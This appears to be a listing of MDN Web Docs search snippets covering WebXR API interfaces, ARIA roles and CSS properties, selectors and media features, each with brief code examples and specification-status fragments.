... working draft initial definition.
XRView - Web APIs
WebAPIXRView
specifications specification status comment webxr device apithe definition of 'xrview' in that specification.
... working draft initial definition.
XRViewerPose.views - Web APIs
specifications specification status comment webxr device apithe definition of 'xrviewerpose.views' in that specification.
... working draft initial definition.
XRViewerPose - Web APIs
specifications specification status comment webxr device apithe definition of 'xrviewerpose' in that specification.
... working draft initial definition.
XRViewport.height - Web APIs
WebAPIXRViewportheight
specifications specification status comment webxr device apithe definition of 'xrviewport.height' in that specification.
... working draft initial definition.
XRViewport.width - Web APIs
WebAPIXRViewportwidth
specifications specification status comment webxr device apithe definition of 'xrviewport.width' in that specification.
... working draft initial definition.
XRViewport.x - Web APIs
WebAPIXRViewportx
specifications specification status comment webxr device apithe definition of 'xrviewport.x' in that specification.
... working draft initial definition.
XRViewport.y - Web APIs
WebAPIXRViewporty
specifications specification status comment webxr device apithe definition of 'xrviewport.y' in that specification.
... working draft initial definition.
XRVisibilityState - Web APIs
specifications specification status comment webxr device apithe definition of 'xrvisibilitystate' in that specification.
... working draft initial definition.
XRWebGLLayer.framebufferHeight - Web APIs
let gllayer = xrsession.renderstate.baselayer; gl.bindframebuffer(gl.framebuffer, gllayer.framebuffer); framewidth = gllayer.framebufferheight; frameheight = gllayer.framebufferheight; specifications specification status comment webxr device apithe definition of 'xrwebgllayer.framebufferheight' in that specification.
... working draft initial definition.
XRWebGLLayer.framebufferWidth - Web APIs
let gllayer = xrsession.renderstate.baselayer; gl.bindframebuffer(gl.framebuffer, gllayer.framebuffer); framewidth = gllayer.framebufferwidth; frameheight = gllayer.framebufferheight; specifications specification status comment webxr device apithe definition of 'xrwebgllayer.framebufferwidth' in that specification.
... working draft initial definition.
XRWebGLLayer.getViewport() - Web APIs
.clearcolor(0, 0, 0, 1.0); gl.cleardepth(1.0); gl.clear(gl.color_buffer_bit, gl.depth_color_bit); for (let view of pose.views) { let viewport = gllayer.getviewport(view); gl.viewport(viewport.x, viewport.y, viewport.width, viewport.height); /* render the scene now */ } } specifications specification status comment webxr device apithe definition of 'xrwebgllayer.getviewport()' in that specification.
... working draft initial definition.
XRWebGLLayer - Web APIs
if (pose) { let gllayer = xrsession.renderstate.baselayer; gl.bindframebuffer(gl.framebuffer, gllayer.framebffer); for (let view of pose.views) { let viewport = gllayer.getviewport(view); gl.viewport(viewport.x, viewport.y, viewport.width, viewport.height); /* render the view */ } } specifications specification status comment webxr device apithe definition of 'xrwebgllayer' in that specification.
... working draft initial definition.
ARIA: tabpanel role - Accessibility
specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'tabpanel' in that specification.
... recommendation wai-aria authoring practicesthe definition of 'tabpanel' in that specification.
ARIA: article role - Accessibility
examples the restaurant recommendations feed display along with its separate documentation from the wai-aria 1.1 authoring practices feed design pattern specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'article' in that specification.
... recommendation wai-aria authoring practicesthe definition of 'feed' in that specification.
ARIA: banner role - Accessibility
specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'aria: banner role' in that specification.
... recommendation wai-aria authoring practicesthe definition of 'banner landmark role' in that specification.
ARIA: cell role - Accessibility
added benefits none specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'aria cell role' in that specification.
... recommendation wai-aria authoring practicesthe definition of 'aria cell role' in that specification.
ARIA: Complementary role - Accessibility
landmarks browser extension specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'aria: complementary role' in that specification.
... recommendation wai-aria authoring practicesthe definition of 'complementary landmark role' in that specification.
ARIA: contentinfo role - Accessibility
landmarks browser extension specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'contentinfo landmark role' in that specification.
... recommendation wai-aria authoring practicesthe definition of 'contentinfo landmark role' in that specification.
ARIA: figure role - Accessibility
examples we could extend the initial example on the page to also identify a paragraph that provides a descriptive label for the figure by referencing its id in aria-labelledby: <div role="figure" aria-labelledby="figure-1"> <img src="diagram.png" alt="diagram showing the four layers of awesome and their relative priority order — music, cats, nature, and ice cream"> <pre><code> let awesome = ['music',...
...showing the four layers of awesome and their relative priority order — music, cats, nature, and ice cream"> <pre><code> let awesome = ['music', 'cats', 'nature', 'ice cream']; </code></pre> <figcaption>figure 1: the four layers of awesome.</figcaption> </figure> specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'figure' in that specification.
ARIA: form role - Accessibility
landmarks browser extension specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'aria form role' in that specification.
... recommendation wai-aria authoring practicesthe definition of 'role form' in that specification.
ARIA: grid role - Accessibility
specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'role grid' in that specification.
... recommendation wai-aria authoring practicesthe definition of 'role grid' in that specification.
ARIA: Main role - Accessibility
landmarks browser extension specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'aria navigtion role' in that specification.
... recommendation wai-aria authoring practicesthe definition of 'navigation landmark role' in that specification.
ARIA: Navigation Role - Accessibility
landmarks browser extension specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'aria navigtion role' in that specification.
... recommendation wai-aria authoring practicesthe definition of 'navigation landmark role' in that specification.
ARIA: Region role - Accessibility
landmarks browser extension specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'aria region role' in that specification.
... recommendation wai-aria authoring practicesthe definition of 'region landmark role' in that specification.
ARIA: row role - Accessibility
added benefits none specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'aria row role' in that specification.
... recommendation wai-aria authoring practicesthe definition of 'aria row role' in that specification.
ARIA: search role - Accessibility
landmarks browser extension specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'aria search role' in that specification.
... recommendation wai-aria authoring practicesthe definition of 'aria search role' in that specification.
ARIA: tab role - Accessibility
specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'tab' in that specification.
... recommendation wai-aria authoring practicesthe definition of 'tabs' in that specification.
ARIA: table role - Accessibility
added benefits none specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'aria table role' in that specification.
... recommendation wai-aria authoring practicesthe definition of 'aria table role' in that specification.
ARIA: button role - Accessibility
specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'button' in that specification.
... recommendation wai-aria authoring practicesthe definition of 'button' in that specification.
ARIA: listbox role - Accessibility
specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'aria listbox role' in that specification.
... recommendation wai-aria authoring practicesthe definition of 'listbox role' in that specification.
WAI-ARIA Roles - Accessibility
a feed enables screen readers to use the browse mode reading cursor to both read and scroll through a stream of rich content that may continue scrolling infinitely by loading more content as the user reads.aria: figure rolethe aria figure role can be used to identify a figure inside page content where appropriate semantics do not already exist.
... alertdialog banner combobox command columnheader (estelle) complementary composite definition directory feed gridcell (eric e) group input landmark link - old page listbox log - old page marquee math menu menubar menuitem menuitemcheckbox menuitemradio none note option presentation progressbar - old page radio - old page radiogroup range region roletype rowheader(estelle) scrollbar searchbox section sectionhead select separator slider - old page spin...
Accessibility documentation index - Accessibility
a feed enables screen readers to use the browse mode reading cursor to both read and scroll through a stream of rich content that may continue scrolling infinitely by loading more content as the user reads.
... 78 web applications and aria faq aria, accessibility, guide wai-aria is the accessible rich internet applications specification from the web accessibility initiative at the w3c.
-moz-context-properties - CSS: Cascading Style Sheets
syntax /* keyword values */ -moz-context-properties: fill; -moz-context-properties: fill, stroke; /* global values */ -moz-context-properties: inherit; -moz-context-properties: initial; -moz-context-properties: unset; values fill expose the fill value set on the image to the embedded svg.
... formal definition initial valuenoneapplies toany element that can have an image applied to it, for example as a background-image, border-image, or list-style-image.inheritedyescomputed valueas specifiedanimation typediscrete formal syntax none | [ fill | fill-opacity | stroke | stroke-opacity ]# examples exposing fill and stroke to an svg image in this example we have a simple svg embedded using an <img> element.
-moz-float-edge - CSS: Cascading Style Sheets
/* keyword values */ -moz-float-edge: border-box; -moz-float-edge: content-box; -moz-float-edge: margin-box; -moz-float-edge: padding-box; /* global values */ -moz-float-edge: inherit; -moz-float-edge: initial; -moz-float-edge: unset; syntax values border-box the height and width properties include the content, padding and border but not the margin.
... formal definition initial valuecontent-boxapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax border-box | content-box | margin-box | padding-box examples html <div class="box"> <p>lorem ipsum dolor sit amet, consectetur adipiscing elit.</p> </div> css .box { display: block; height: 5px; margin: 0.5em auto 0.5em auto; color: gray; -moz-float-edge: margin-box; box-sizing: border-box; } result specifications not part o...
-moz-image-region - CSS: Cascading Style Sheets
/* keyword value */ -moz-image-region: auto; /* <shape> value */ -moz-image-region: rect(0, 8px, 4px, 4px); /* global values */ -moz-image-region: inherit; -moz-image-region: initial; -moz-image-region: unset; the syntax is similar to the clip property.
... formal definition initial valueautoapplies toxul <image> elements and :-moz-tree-image, :-moz-tree-twisty, and :-moz-tree-checkbox pseudo-elements.
-moz-orient - CSS: Cascading Style Sheets
formal definition initial valueinlineapplies toany element; it has an effect on progress and meter, but not on <input type="range"> or other elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax inline | block | horizontal | vertical examples html <p> the following progress meter is horizontal (the default): </p> <progress max="100" value="75"></progress> <p> the followin...
...though submitted to the w3c, with positive initial feedback, this property is not yet part of any specification; currently, this is a mozilla-specific extension (that is, -moz-orient).
-moz-outline-radius - CSS: Cascading Style Sheets
/* one value */ -moz-outline-radius: 25px; /* two values */ -moz-outline-radius: 25px 1em; /* three values */ -moz-outline-radius: 25px 1em 12%; /* four values */ -moz-outline-radius: 25px 1em 12% 4mm; /* global values */ -moz-outline-radius: inherit; -moz-outline-radius: initial; -moz-outline-radius: unset; constituent properties this property is a shorthand for the following css properties: -moz-outline-radius-bottomleft -moz-outline-radius-bottomright -moz-outline-radius-topleft -moz-outline-radius-topright syntax values elliptical outlines and <percentage> values follow the syntax described in border-radius.
... formal definition initial valueas each of the properties of the shorthand:-moz-outline-radius-topleft: 0-moz-outline-radius-topright: 0-moz-outline-radius-bottomright: 0-moz-outline-radius-bottomleft: 0applies toall elementsinheritednopercentagesas each of the properties of the shorthand:-moz-outline-radius-topleft: refer to the corresponding dimension of the border box-moz-outline-radius-topright: refer to th...
-moz-user-input - CSS: Cascading Style Sheets
/* keyword values */ -moz-user-input: none; -moz-user-input: enabled; -moz-user-input: disabled; /* global values */ -moz-user-input: inherit; -moz-user-input: initial; -moz-user-input: unset; for elements that normally take user input, such as a <textarea>, the initial value of -moz-user-input is enabled.
... formal definition initial valueautoapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax auto | none | enabled | disabled examples disabling user input for an element input.example { /* the user will be able to select the text, but not change it.
-webkit-border-before - CSS: Cascading Style Sheets
/* border values */ -webkit-border-before: 1px; -webkit-border-before: 2px dotted; -webkit-border-before: medium dashed blue; /* global values */ -webkit-border-before: inherit; -webkit-border-before: initial; -webkit-border-before: unset; -webkit-border-before can be used to set the values for one or more of: -webkit-border-before-width, -webkit-border-before-style, and -webkit-border-before-color.
... syntax values one or more of the following, in any order: <'border-width'> see border-width <'border-style'> see border-style <'color'> see color formal definition initial valueas each of the properties of the shorthand:border-width: as each of the properties of the shorthand:border-top-width: mediumborder-right-width: mediumborder-bottom-width: mediumborder-left-width: mediumborder-style: as each of the properties of the shorthand:border-top-style: noneborder-right-style: noneborder-bottom-style: noneborder-left-style: nonecolor: varies from one browse...
-webkit-box-reflect - CSS: Cascading Style Sheets
/* direction values */ -webkit-box-reflect: above; -webkit-box-reflect: below; -webkit-box-reflect: left; -webkit-box-reflect: right; /* offset value */ -webkit-box-reflect: below 10px; /* mask value */ -webkit-box-reflect: below 0 linear-gradient(transparent, white); /* global values */ -webkit-box-reflect: inherit; -webkit-box-reflect: initial; -webkit-box-reflect: unset; note: this feature is not intended to be used by web sites.
... formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax [ above | below | right | left ]?
-webkit-mask-attachment - CSS: Cascading Style Sheets
/* keyword values */ -webkit-mask-attachment: scroll; -webkit-mask-attachment: fixed; -webkit-mask-attachment: local; /* multiple values */ -webkit-mask-attachment: scroll, local; -webkit-mask-attachment: fixed, local, scroll; /* global values */ -webkit-mask-attachment: inherit; -webkit-mask-attachment: initial; -webkit-mask-attachment: unset; syntax values scroll if scroll is specified, the mask image scrolls within the viewport along with the block that contains the mask image.
... formal definition initial valuescrollapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <attachment>#where <attachment> = scroll | fixed | local examples fixing a mask image to the viewport body { -webkit-mask-image: url('images/mask.png'); -webkit-mask-attachment: fixed; } specifications not part of any standard.
-webkit-mask-box-image - CSS: Cascading Style Sheets
initial value: none applies to: all elements inherited: no media: visual computed value: as specified syntax -webkit-mask-box-image: <mask-box-image> [<top> <right> <bottom> <left> <x-repeat> <y-repeat>] where: <mask-box-image> <uri> | <gradient> | none <top> <right> <bottom> <left> <length> | <percentage> <x-repeat> <y-repeat> repeat | stretch | round | space values <uri> the location of the image resource to be used as a mask image.
... formal definition value not found in db!
-webkit-mask-composite - CSS: Cascading Style Sheets
osite: source-over; -webkit-mask-composite: source-in; -webkit-mask-composite: source-out; -webkit-mask-composite: source-atop; -webkit-mask-composite: destination-over; -webkit-mask-composite: destination-in; -webkit-mask-composite: destination-out; -webkit-mask-composite: destination-atop; -webkit-mask-composite: xor; /* global values */ -webkit-mask-composite: inherit; -webkit-mask-composite: initial; -webkit-mask-composite: unset; there is a standardized mask-composite property covering parts of this non-standard property using different keywords.
... formal definition initial valuesource-overapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <composite-style>#where <composite-style> = clear | copy | source-over | source-in | source-out | source-atop | destination-over | destination-in | destination-out | destination-atop | xor examples compositing with xor .example { -webkit-mask-image: url(mask1.png), ur...
-webkit-mask-repeat-x - CSS: Cascading Style Sheets
/* keyword values */ -webkit-mask-repeat-x: repeat; -webkit-mask-repeat-x: no-repeat; -webkit-mask-repeat-x: space; -webkit-mask-repeat-x: round; /* multiple values */ -webkit-mask-repeat-x: repeat, no-repeat, space; /* global values */ -webkit-mask-repeat-x: inherit; -webkit-mask-repeat-x: initial; -webkit-mask-repeat-x: unset; syntax values repeat the mask image is repeated both horizontally and vertically.
... formal definition initial valuerepeatapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax repeat | no-repeat | space | round examples using a repeating or non-repeating mask image .exampleone { -webkit-mask-image: url('mask.png'); -webkit-mask-repeat-x: repeat; } .exampletwo { -webkit-mask-image: url('mask.png'); -webkit-mask-repeat-x: no-repeat; } usi...
-webkit-mask-repeat-y - CSS: Cascading Style Sheets
/* keyword values */ -webkit-mask-repeat-y: repeat; -webkit-mask-repeat-y: no-repeat; -webkit-mask-repeat-y: space; -webkit-mask-repeat-y: round; /* multiple values */ -webkit-mask-repeat-y: repeat, no-repeat, space; /* global values */ -webkit-mask-repeat-y: inherit; -webkit-mask-repeat-y: initial; -webkit-mask-repeat-y: unset; syntax values repeat the mask image is repeated vertically.
... formal definition initial valuerepeatapplies toall elementsinheritednocomputed valuefor <length> the absolute value, otherwise a percentageanimation typediscrete formal syntax repeat | no-repeat | space | round examples using a repeating or non-repeating mask image .exampleone { -webkit-mask-image: url('mask.png'); -webkit-mask-repeat-y: repeat; } .exampletwo { -webkit-mask-image: url('mask.png'); ...
-webkit-print-color-adjust - CSS: Cascading Style Sheets
/* keyword values */ -webkit-print-color-adjust: economy; -webkit-print-color-adjust: exact; /* global values */ -webkit-print-color-adjust: inherit; -webkit-print-color-adjust: initial; -webkit-print-color-adjust: unset; syntax the -webkit-print-color-adjust property is specified as one of the keyword values listed below.
... formal definition value not found in db!
-webkit-touch-callout - CSS: Cascading Style Sheets
/* keyword values */ -webkit-touch-callout: default; -webkit-touch-callout: none; /* global values */ -webkit-touch-callout: initial; -webkit-touch-callout: inherit; -webkit-touch-callout: unset; syntax values default the default callout is displayed.
... formal definition initial valuedefaultapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax default | none examples turn off touch callout .example { -webkit-touch-callout: none; } specifications not part of any standard.
::backdrop - CSS: Cascading Style Sheets
specifications specification status comment fullscreen apithe definition of '::backdrop' in that specification.
... living standard initial definition.
::cue-region - CSS: Cascading Style Sheets
iant font-weight line-height opacity outline outline-color outline-style outline-width ruby-position text-combine-upright text-decoration text-decoration-color text-decoration-line text-decoration-style text-decoration-thickness text-shadow visibility white-space specifications specification status comment webvtt: the web video text tracks formatthe definition of 'the ::cue-region pseudo-element' in that specification.
... candidate recommendation initial definition.
::cue - CSS: Cascading Style Sheets
WebCSS::cue
::cue { color: #fff; background-color: rgba(0, 0, 0, 0.6); } specifications specification status comment webvtt: the web video text tracks formatthe definition of '::cue' in that specification.
... candidate recommendation initial definition.
::grammar-error - CSS: Cascading Style Sheets
html <p>my friends is coming to the party tonight.</p> css ::grammar-error { text-decoration: underline red; color: red; } result specifications specification status comment css pseudo-elements level 4the definition of '::grammar-error' in that specification.
... working draft initial definition.
::part() - CSS: Cascading Style Sheets
WebCSS::part
mportant; } javascript let template = document.queryselector("#tabbed-custom-element"); globalthis.customelements.define(template.id, class extends htmlelement { constructor() { super(); this.attachshadow({ mode: "open" }); this.shadowroot.appendchild(template.content); } }); result specifications specification status comment shadow partsthe definition of '::part' in that specification.
... working draft initial definition.
::placeholder - CSS: Cascading Style Sheets
roup examples red text html <input placeholder="type something here!"> css input::placeholder { color: red; font-size: 1.2em; font-style: italic; } result green text html <input placeholder="type something here..."> css input::placeholder { color: green; } result specifications specification status comment css pseudo-elements level 4the definition of '::placeholder' in that specification.
... working draft initial definition.
::selection - CSS: Cascading Style Sheets
(wcag defines large text as between 18.66px and 24px and bold, or 24px or larger.) webaim: color contrast checker mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.3 | w3c understanding wcag 2.0 specifications specification status comment css pseudo-elements level 4the definition of '::selection' in that specification.
... working draft initial definition.
::slotted() - CSS: Cascading Style Sheets
WebCSS::slotted
shazaam</p> <span slot="person-age">immortal</span> <span slot="person-occupation">superhero</span> </person-details> specifications specification status comment css scoping module level 1the definition of '::slotted' in that specification.
... working draft initial definition.
::spelling-error - CSS: Cascading Style Sheets
html <p contenteditable spellcheck="true">my friends are coegdfgfddffbgning to the party tonight.</p> css ::spelling-error { text-decoration: wavy red; } result specifications specification status comment css pseudo-elements level 4the definition of '::spelling-error' in that specification.
... working draft initial definition.
:any-link - CSS: Cascading Style Sheets
WebCSS:any-link
<a href="https://example.com">external link</a><br> <a href="#">internal target link</a><br> <a>placeholder link (won't get styled)</a> css a:any-link { border: 1px solid blue; color: orange; } /* webkit browsers */ a:-webkit-any-link { border: 1px solid blue; color: orange; } result specifications specification status comment selectors level 4the definition of ':any-link' in that specification.
... working draft initial definition.
:blank - CSS: Cascading Style Sheets
WebCSS:blank
html <textarea></textarea> css textarea:blank { border: 3px solid red; } result specifications specification status comment selectors level 4the definition of ':blank' in that specification.
... working draft initial definition.
:focus-visible - CSS: Cascading Style Sheets
specifications specification status comment selectors level 4the definition of ':focus-visible' in that specification.
... working draft initial definition.
:focus-within - CSS: Cascading Style Sheets
<input id="given_name" type="text"> <br> <label for="family_name">family name:</label> <input id="family_name" type="text"> </form> css form { border: 1px solid; color: gray; padding: 4px; } form:focus-within { background: #ff8; color: black; } input { margin: 4px; } result specifications specification status comment selectors level 4the definition of ':focus-within' in that specification.
... working draft initial definition.
:fullscreen - CSS: Cascading Style Sheets
#fs-toggle:fullscreen { background-color: #faa; } specifications specification status comment fullscreen apithe definition of ':fullscreen' in that specification.
... living standard initial definition.
:has() - CSS: Cascading Style Sheets
WebCSS:has
that directly contain an <img> the following selector matches only <a> elements that directly contain an <img> child: a:has(> img) matching <h1> elements that are followed by a <p> the following selector matches <h1> elements only if they have a <p> element directly following them: h1:has(+ p) specifications specification status comment selectors level 4the definition of ':has()' in that specification.
... working draft initial definition browser compatibility the compatibility table on this page is generated from structured data.
:host() - CSS: Cascading Style Sheets
WebCSS:host()
specifications specification status comment css scoping module level 1the definition of ':host()' in that specification.
... working draft initial definition.
:host-context() - CSS: Cascading Style Sheets
specifications specification status comment css scoping module level 1the definition of ':host-context()' in that specification.
... working draft initial definition.
:host - CSS: Cascading Style Sheets
WebCSS:host
specifications specification status comment css scoping module level 1the definition of ':host' in that specification.
... working draft initial definition.
:is() (:matches(), :any()) - CSS: Cascading Style Sheets
WebCSS:is
specifications specification status comment selectors level 4the definition of ':is()' in that specification.
... working draft initial definition browser compatibility the compatibility table on this page is generated from structured data.
:placeholder-shown - CSS: Cascading Style Sheets
ern="[0-9]{8}" title="8 digit id" id="sid" class="studentid" placeholder="8 digit id"/> </p> <input type="submit"/> </form> css input { background-color: #e8e8e8; color: black; } input.studentid:placeholder-shown { background-color: yellow; color: red; font-style: italic; } result specifications specification status comment selectors level 4the definition of ':placeholder-shown' in that specification.
... working draft initial definition.
:scope - CSS: Cascading Style Sheets
WebCSS:scope
(', '); html <div id="context"> <div id="element-1"> <div id="element-1.1"></div> <div id="element-1.2"></div> </div> <div id="element-2"> <div id="element-2.1"></div> </div> </div> <p> selected elements ids : <span id="results"></span> </p> result specifications specification status comment selectors level 4the definition of ':scope' in that specification.
... working draft initial definition.
:state() - CSS: Cascading Style Sheets
WebCSS:state
my code block and/or include a list of links to useful code samples that live elsewhere: x y z specifications specification status comment unknownthe definition of 'the :state() selector' in that specification.
... unknown initial definition.
:where() - CSS: Cascading Style Sheets
WebCSS:where
'='<attr-modifier> = i | s specifications specification status comment selectors level 4the definition of ':where()' in that specification.
... working draft initial definition.
@charset - CSS: Cascading Style Sheets
WebCSS@charset
t 'iso-8859-15'; /* invalid, wrong quoting style used */ @charset "utf-8"; /* invalid, more than one space */ @charset "utf-8"; /* invalid, there is a character (a space) before the at-rule */ @charset utf-8; /* invalid, without ' or ", the charset is not a css <string> */ specifications specification status comment css level 2 (revision 1)the definition of '@charset' in that specification.
... recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
font-family - CSS: Cascading Style Sheets
formal definition related at-rule@font-faceinitial valuen/a (required)computed valueas specified formal syntax <family-name>where <family-name> = <string> | <custom-ident>+ examples setting the font family name @font-face { font-family: examplefont; src: url('examplefont.ttf'); } specifications specification status comment css fonts module level 3the definition of 'font-family' in that specification.
... candidate recommendation initial definition ...
@keyframes - CSS: Cascading Style Sheets
this can be used to animate an element from its initial state and back.
... specifications specification status comment css animationsthe definition of '@keyframes' in that specification.
any-hover - CSS: Cascading Style Sheets
WebCSS@mediaany-hover
examples testing whether input methods can hover html <a href="#">try hovering over me!</a> css @media (any-hover: hover) { a:hover { background: yellow; } } result specifications specification status comment media queries level 4the definition of 'any-hover' in that specification.
... candidate recommendation initial definition.
any-pointer - CSS: Cascading Style Sheets
ance: none; width: 15px; height: 15px; border: 1px solid blue; } } @media (any-pointer: coarse) { input[type="checkbox"] { -moz-appearance: none; -webkit-appearance: none; appearance: none; width: 30px; height: 30px; border: 2px solid red; } } result specifications specification status comment media queries level 4the definition of 'any-pointer' in that specification.
... candidate recommendation initial definition.
aural - CSS: Cascading Style Sheets
WebCSS@mediaaural
examples basic example @media aural { body { voice-family: paul } } specifications specification status comment css level 2 (revision 2)the definition of 'aural' in that specification.
... deprecated initial definition.
color-gamut - CSS: Cascading Style Sheets
examples html <p>this is a test.</p> css @media (color-gamut: srgb) { p { background: #f4ae8a; } } result specifications specification status comment media queries level 4the definition of 'color-gamut' in that specification.
... candidate recommendation initial definition.
display-mode - CSS: Cascading Style Sheets
(none) examples @media all and (display-mode: fullscreen) { body { margin: 0; border: 5px solid black; } } specifications specification status comment web app manifestthe definition of 'display-mode' in that specification.
... working draft initial definition.
forced-colors - CSS: Cascading Style Sheets
html <div class="colors">weird color box</div> css .colors { background-color: red; color: grey; } @media (forced-colors: active) { .colors { background-color: white; color: black; } } result specifications specification status comment media queries level 5the definition of 'forced-colors' in that specification.
... editor's draft initial definition.
hover - CSS: Cascading Style Sheets
WebCSS@mediahover
examples html <a href="#">try hovering over me!</a> css @media (hover: hover) { a:hover { background: yellow; } } result specifications specification status comment media queries level 4the definition of 'hover' in that specification.
... candidate recommendation initial definition.
light-level - CSS: Cascading Style Sheets
@media (light-level: normal) { p { background: url("texture.jpg"); color: #333; } } @media (light-level: dim) { p { background: #222; color: #ccc; } } @media (light-level: washed) { p { background: white; color: black; font-size: 2em; } } specifications specification status comment media queries level 5the definition of 'light-level' in that specification.
... editor's draft initial definition.
pointer - CSS: Cascading Style Sheets
WebCSS@mediapointer
y; } @media (pointer: fine) { input[type="checkbox"] { width: 15px; height: 15px; border-width: 1px; border-color: blue; } } @media (pointer: coarse) { input[type="checkbox"] { width: 30px; height: 30px; border-width: 2px; border-color: red; } } result specifications specification status comment media queries level 4the definition of 'pointer' in that specification.
... candidate recommendation initial definition.
prefers-contrast - CSS: Cascading Style Sheets
html <div class="contrast">low contrast box</div> css .contrast { width: 100px; height: 100px; outline: 2px dashed black; } @media (prefers-contrast: high) { .contrast { outline: 2px solid black; } } result specifications specification status comment media queries level 5the definition of 'prefers-contrast' in that specification.
... editor's draft initial definition.
prefers-reduced-data - CSS: Cascading Style Sheets
0-206f, u+2074, u+20ac, u+2122, u+2191, u+2193, u+2212, u+2215, u+feff, u+fffd; } } body { font-family: montserrat, -apple-system, blinkmacsystemfont, "segoe ui", roboto, helvetica, arial, "microsoft yahei", sans-serif, "apple color emoji", "segoe ui emoji", "segoe ui symbol"; } result specifications specification status comment media queries level 5the definition of 'reduced-data' in that specification.
... editor's draft initial definition.
prefers-reduced-transparency - CSS: Cascading Style Sheets
html <div class="transparency">transparent box</div> css .transparency { opacity: 0.5; } @media (prefers-reduced-transparency: reduce) { .transparency { opacity: 1; } } result specifications specification status comment media queries level 5the definition of 'prefers-reduced-transparency' in that specification.
... editor's draft initial definition.
resolution - CSS: Cascading Style Sheets
WebCSS@mediaresolution
ity.</p> css /* exact resolution */ @media (resolution: 150dpi) { p { color: red; } } /* minimum resolution */ @media (min-resolution: 72dpi) { p { text-decoration: underline; } } /* maximum resolution */ @media (max-resolution: 300dpi) { p { background: yellow; } } result specifications specification status comment media queriesthe definition of 'resolution' in that specification.
... recommendation initial definition.
update - CSS: Cascading Style Sheets
examples html <p>if this text animates for you, you are using a fast-updating device.</p> css @keyframes jiggle { from { transform: translatey(0); } to { transform: translatey(25px); } } @media (update: fast) { p { animation: 1s jiggle linear alternate infinite; } } result specifications specification status comment media queries level 4the definition of 'update' in that specification.
... candidate recommendation initial definition.
@namespace - CSS: Cascading Style Sheets
@namespace url(http://www.w3.org/1999/xhtml); @namespace svg url(http://www.w3.org/2000/svg); /* this matches all xhtml <a> elements, as xhtml is the default unprefixed namespace */ a {} /* this matches all svg <a> elements */ svg|a {} /* this matches both xhtml and svg <a> elements */ *|a {} specifications specification status comment css namespaces modulethe definition of '@namespace' in that specification.
... recommendation initial definition ...
bleed - CSS: Cascading Style Sheets
WebCSS@pagebleed
formal definition related at-rule@pageinitial valueautocomputed valueas specified formal syntax auto | <length> examples setting a page bleed of 1cm @page { bleed: 1cm; } specifications specification status comment css paged media module level 3the definition of 'bleed' in that specification.
... working draft initial definition ...
marks - CSS: Cascading Style Sheets
WebCSS@pagemarks
formal definition related at-rule@pageinitial valuenonecomputed valueas specified formal syntax none | [ crop | cross ] examples adding crop and cross marks @page { marks: crop cross; } specifications specification status comment css paged media module level 3the definition of 'marks' in that specification.
... working draft initial definition this css property was initially proposed in css level 2, but was dropped from css level 2 (revision 1).
max-zoom - CSS: Cascading Style Sheets
formal definition related at-rule@viewportinitial valueautopercentagesthe zoom factor itselfcomputed valueauto, or a non-negative number or percentage as specified formal syntax auto | <number> | <percentage> examples setting max-zoom @viewport { max-zoom: 1.5; } specifications specification status comment css device adaptationthe definition of '"max-zoom" descriptor' in...
... working draft initial definition ...
min-zoom - CSS: Cascading Style Sheets
formal definition related at-rule@viewportinitial valueautopercentagesthe zoom factor itselfcomputed valueauto, or a non-negative number or percentage as specified formal syntax auto | <number> | <percentage> examples setting min zoom factor @viewport { min-zoom: 2.0; } specifications specification status comment css device adaptationthe definition of '"min-zoom" descriptor...
... working draft initial definition ...
orientation - CSS: Cascading Style Sheets
formal definition related at-rule@viewportinitial valueautopercentagesrefer to the size of bounding boxcomputed valueas specified formal syntax auto | portrait | landscape examples setting viewport orientation @viewport { orientation: landscape; } specifications specification status comment css device adaptationthe definition of '"orientation" descriptor' in that specificat...
... working draft initial definition ...
user-zoom - CSS: Cascading Style Sheets
mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.4 | understanding wcag 2.0 formal definition related at-rule@viewportinitial valuezoompercentagesrefer to the size of bounding boxcomputed valueas specified formal syntax zoom | fixed examples disabling user zoom @viewport { user-zoom: fixed; } specifications specification status comment css device adaptationthe definition of '"user-zoom" descriptor' in that specification.
... working draft initial definition ...
Box alignment in grid layout - CSS: Cascading Style Sheets
the initial value for align-self and justify-self is stretch so the item will stretch over the entire grid area.
... gap and legacy grid-gap properties row-gap column-gap gap grid-row-gap grid-column-gap grid-gap the grid specification originally contained the definition for the properties grid-row-gap, grid-column-gap and grid-gap.
CSS Box Alignment - CSS: Cascading Style Sheets
if you initially learned flexbox then you may consider these properties to be part of the flexbox specification, and some of the properties are indeed listed in level 1 of flexbox.
...the values are as follows: stretch space-between space-around space-evenly for example, in flex layout items are aligned with flex-start initially.
Mastering margin collapsing - CSS: Cascading Style Sheets
bove.</p> <p>my bottom margin collapses with my parent, yielding a bottom margin of <code>2rem</code>.</p> </div> <p>i am <code>2rem</code> below the element above.</p> css div { margin: 2rem 0; background: lavender; } p { margin: .4rem 0 1.2rem 0; background: yellow; } result specifications specification status comment css level 2 (revision 1)the definition of 'margin collapsing' in that specification.
... recommendation initial definition.
